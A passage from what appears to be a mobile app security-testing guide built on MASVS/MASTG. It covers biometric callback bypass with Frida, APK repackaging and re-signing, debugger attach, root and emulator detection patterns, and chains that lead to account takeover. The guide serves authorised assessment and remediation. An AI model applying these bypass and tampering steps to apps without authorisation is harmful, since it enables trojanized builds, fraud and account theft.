public void onAuthenticationSucceeded(AuthenticationResult r) {
    unlocked = true;
    performTransfer();          // no CryptoObject, no server re-check
}
```

```
frida> [+] forcing biometric success
# App proceeds: "Transfer Successful" without a real fingerprint.
```

- **Secure / Success State (Defense Verified):**

```
// Biometric unlocks a Keystore key that signs the transaction; a faked
callback yields no key.
BiometricPrompt.CryptoObject crypto = new
BiometricPrompt.CryptoObject(signature);
prompt.authenticate(promptInfo, crypto);   // and the server verifies the
signature
```

  Forcing the callback does not complete the action; the server still requires a valid signed challenge.
- **Chaining Vector (Optional/Applicable):**

```
Root bypass (5.2)  -->  Frida hook biometric callback  -->  authorize
transfer (if client-only gate)
```

Phase 6: Resilience & Anti-Reversing Analysis

Goal: measure how hard the app is to analyse, tamper with and run in a hostile environment. On every test here, a successful bypass is an app weakness. These controls are defence-in-depth: they slow an attacker, they do not replace server-side enforcement.

Activity 6.1: Code Obfuscation Effectiveness

- **Main Heading:** MASVS-RESILIENCE
- **Sub-Heading:** MASTG-RESILIENCE-03 — Obfuscation and analysis resistance
- **Risk & Impact:**
  - **Severity:** Low to Medium (as defence-in-depth)
  - **Exploitation Impact:** Readable code makes every other attack cheaper: finding keys, endpoints and security logic takes minutes instead of days.
- **Primary Tooling:** `jadx-gui`, `apktool`
- **Alternate / Fallback Tooling:** `frida` for runtime string decryption, `frida-dexdump` for packers, Ghidra for native
- **Step-by-Step Methodology:**
  1. Open the decompiled tree and inspect class, method and field naming.
  2. Distinguish real obfuscation from cosmetic renaming that leaves business logic readable:

     ```
     grep -rniE 'class (Login|Payment|Crypto|Auth|Session)' out_jadx/sources
     | wc -l
     ```

  3. Check whether strings are encrypted and resolved at runtime, or sit in plaintext.
  4. Look for leaked mapping artefacts or retained source-file/line attributes.
- **Fallback Execution Workflow:** If strings are encrypted, hook the decryptor at runtime and dump every plaintext in bulk with a Frida script, then reannotate. If the app is packed and real classes only appear in memory, run `frida-dexdump` while the app runs and re-analyse the carved DEX. Record analyst-hours to locate one security control as the resilience metric.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  public class LoginActivity {                    // original names intact
      private boolean checkPassword(String p){ return
  p.equals(HARDCODED_PIN); }
  }
  ```

- **Secure / Success State (Defense Verified):**

  ```
  public class a {                                // R8/DexGuard renamed
      private boolean a(String s){ return s.equals(b.c()); }  // b.c()
  decrypts at runtime
  }
  ```

  Names, strings and control flow are obfuscated, and no mapping file ships in the APK.
- **Chaining Vector (Optional/Applicable):**

```
No obfuscation  -->  trivially locate root check + key + pinning logic  -->
faster bypass of every Phase 5/6 control
```

Activity 6.2: Anti-Tampering and Signature Verification

- **Main Heading:** MASVS-RESILIENCE
- **Sub-Heading:** MASTG-RESILIENCE-01 — Integrity and repackaging resistance
- **Risk & Impact:**
  - **Severity:** Medium
  - **Exploitation Impact:** An app that does not verify its own signature can be modified, re-signed and redistributed as a trojanized build, or patched to strip security controls.
- **Primary Tooling:** `apktool`, `apksigner`, `keytool`, `zipalign`
- **Alternate / Fallback Tooling:** `jadx` to find the check, `frida` to hook `getPackageInfo`, Smali patching
- **Step-by-Step Methodology:**
  1. Decompile, make a visible change, and rebuild:

     ```
     apktool d base.apk -o tampered
     # edit tampered/res/values/strings.xml (app_name) or a Smali method
     apktool b tampered -o tampered.apk
     ```

  2. Align and sign with your own key:

     ```
     keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -
     keysize 2048 -validity 10000
     zipalign -p -f 4 tampered.apk tampered-aligned.apk
     apksigner sign --ks test.keystore --ks-key-alias test tampered-
     aligned.apk
     ```

  3. Install and run; observe whether the app detects the signature mismatch and exits.
  4. Inspect the original signing scheme:

     ```
     apksigner verify --print-certs base.apk
     ```

- **Fallback Execution Workflow:** If the app exits on launch due to a signature check, locate it (`grep -rniE 'getPackageInfo|GET_SIGNATURES|signingInfo|checkSignature' out_jadx/sources`), then hook `PackageManager.getPackageInfo` with Frida to return the original signature hash, or patch the comparison in Smali and re-sign. Note whether the backend also rejects the tampered client via attestation (client-only integrity is weaker).
- **Vulnerable / Failure State (Vulnerability Identified):**

```
$ adb install tampered-aligned.apk && adb shell am start -n
com.target.app/.MainActivity
# App launches and runs normally under a different signing key -> no
integrity check.
```

- **Secure / Success State (Defense Verified):**

```
# App launches, detects the signature mismatch, and exits:
E/Integrity: signature mismatch, expected 3f2a... got 9c81...  -> process
terminated
# And the backend independently rejects the tampered client via Play
Integrity.
```

- **Chaining Vector (Optional/Applicable):**

```
No signature check  +  no obfuscation (6.1)  -->  patch out pinning + root
detection  -->  trojanized redistribution
```

Activity 6.3: Debugger Detection

- **Main Heading:** MASVS-RESILIENCE
- **Sub-Heading:** MASTG-RESILIENCE-02 — Anti-debugging controls
- **Risk & Impact:**
  - **Severity:** Low to Medium (defence-in-depth)
  - **Exploitation Impact:** Without debugger detection, an attacker attaches a debugger to step through logic, read state and manipulate execution paths.
- **Primary Tooling:** `adb`, `jdb`
- **Alternate / Fallback Tooling:** native debugger (`lldb` / `gdbserver`), `frida` to hook the detection routine
- **Step-by-Step Methodology:**
  1. Confirm the app is debuggable or force JDWP where possible, then find the PID:

     ```
     PID=$(adb shell pidof -s com.target.app)
     ```

  2. Forward JDWP and attach the Java debugger:

     ```
     adb forward tcp:6666 jdwp:$PID
     jdb -attach localhost:6666
     ```

  3. Observe whether the app detects the attach (via `Debug.isDebuggerConnected()` or a `TracerPid` check) and exits.
  4. Check the code for the detection routine:

```
grep -rniE 'isDebuggerConnected|waitingForDebugger|TracerPid'
out_jadx/sources
```

- **Fallback Execution Workflow:** If the app terminates on attach, hook the detection method with Frida to return false, then attach again. For native anti-debug (a `ptrace(PT_DENY_ATTACH)`-style self-trace or `TracerPid` parsing in a `.so`), find and neutralise it in Ghidra, or hook the libc `ptrace` wrapper with a Frida `Interceptor`. Test both a Java (`jdb`) and a native (`lldb`) attach, since apps often detect only one.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
$ jdb -attach localhost:6666
Initializing jdb ...
> # attaches and stays attached; app keeps running and is steppable.
```

- **Secure / Success State (Defense Verified):**

```
if (Debug.isDebuggerConnected() || tracerPidNonZero()) {
    android.os.Process.killProcess(android.os.Process.myPid());   // exit
on debugger
}
```

```
$ jdb -attach localhost:6666
# app detects the debugger and immediately exits, dropping the jdb session.
```

- **Chaining Vector (Optional/Applicable):**

```
No anti-debug  +  no obfuscation (6.1)  -->  step through auth logic  -->
understand and bypass client checks quickly
```

Activity 6.4: Emulator and Root Detection (Static Review)

- **Main Heading:** MASVS-RESILIENCE
- **Sub-Heading:** MASTG-RESILIENCE-01 & 02 — Detection implementation quality
- **Risk & Impact:**
  - **Severity:** Low to Medium
  - **Exploitation Impact:** Naive Java-only checks are trivial to bypass and provide little assurance. The quality of the implementation determines the real cost to an attacker and to automated fraud farms.
- **Primary Tooling:** `jadx-gui`, `grep`
- **Alternate / Fallback Tooling:** `apktool` Smali review, Ghidra for native detection, `frida` to confirm which check fires

- **Step-by-Step Methodology:**
  1. Search for common root and emulator signals in the recovered code:

     ```
     grep -rniE '/system/bin/su|supersu|test-keys|RootBeer|magisk|busybox'
     out_jadx/sources
     grep -rniE
     'goldfish|ranchu|generic|qemu|Genymotion|ro\.kernel\.qemu|sdk_gphone'
     out_jadx/sources
     ```

  2. Determine whether detection is a simple Java `File.exists` check or a native/attested implementation.
  3. Assess whether the verdict is enforced locally only, or also validated server-side via Play Integrity.
  4. Rate the implementation strength and cross-check against the runtime bypass in Activity 5.2.
- **Fallback Execution Workflow:** If checks are not visible in Java, they are likely native: `unzip base.apk 'lib/*'` and `strings` the `.so` for the same signals, then confirm in Ghidra. To see which specific check fires at runtime, hook the candidate methods with Frida and log which returns true on your test device.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  boolean rooted = new File("/system/bin/su").exists();   // single naive
  Java check, trivial to hook
  ```

- **Secure / Success State (Defense Verified):**

  ```
  // Layered: native check + hardware-backed attestation verified on the
  server.
  System.loadLibrary("integrity");
  boolean ok = nativeVerifyEnvironment();          // native, harder to hook
  // Backend also calls Play Integrity and refuses sensitive actions on a
  failed verdict.
  ```

- **Chaining Vector (Optional/Applicable):**

  ```
  Naive Java root check  -->  one-line Frida hook (5.2)  -->  all downstream
  client controls fall
  ```

Appendix A: End-to-End Chaining Playbook

Individual findings are often Medium on their own but combine into Critical outcomes. The chains below are the ones assessors reach for most.

```
CHAIN 1 — Client compromise to account takeover
  Naive root check (6.4) --> Frida root bypass (5.2) --> SSL pinning bypass
(3.2)
    --> read sandbox token (5.1) --> replay token to API (if not device-bound)
--> ATO

CHAIN 2 — Manifest to offline credential theft
  allowBackup=true (1.1) --> adb backup extraction --> plaintext token in
prefs (2.1) --> ATO

CHAIN 3 — WebView to native token theft
  Stored XSS via API (4.4) --> insecure JS bridge (5.3) --> getSessionToken()
--> exfiltrate --> ATO

CHAIN 4 — API authorization cascade
  Pinning bypass (3.2) --> mass assignment role=admin (4.5) --> BFLA now
allowed (4.2)
    --> delete/modify any user --> full tenant control

CHAIN 5 — Crypto to mass decryption
  Hardcoded AES key (2.2) --> ECB / static IV (2.4) --> decrypt every user's
local blob (5.1)

CHAIN 6 — IPC to arbitrary file access
  Exported activity (1.3/3.5) + insecure FileProvider path --> intent-driven
traversal
    --> read /data/data/pkg/databases --> token + PII extraction (5.1)

CHAIN 7 — App Link hijack to account takeover
  Missing/over-broad assetlinks.json (3.6) --> PoC app claims the domain
    --> intercept OAuth code / magic-link token --> replay --> account
takeover

CHAIN 8 — Intent redirection to internal-component compromise
  Exported proxy activity forwards nested Intent (3.9) --> launch non-exported
    InternalAdminActivity (3.5) --> mutable PendingIntent acts as victim app
    --> read private FileProvider (5.1)

CHAIN 9 — Content provider injection to takeover
  Exported provider + SQLi in selection (3.8) --> dump users table
    --> offline password cracking --> account takeover
```

Appendix B: Reporting and Retest Discipline

- Reproduce every finding twice from a clean state before writing it up. Distinguish a real cross-user or backend impact from a self-only client finding (an attacker rooting their own device and reading their own data is not, by itself, a vulnerability).
- Capture the exact request, response and preconditions. Redact secrets in screenshots. Never bulk-exfiltrate real user data; extract the minimum needed to prove impact.
- Rate on realistic exploitability and business impact, not tool defaults. Map each finding to its MASVS control and MASTG test ID.
- For each finding, the `Secure / Success State` block in this guide is the retest oracle: the fix is verified when the app produces that output.
- Record device model, OS version, patch level, app version and tool versions with every finding so results are reproducible.

End of guide.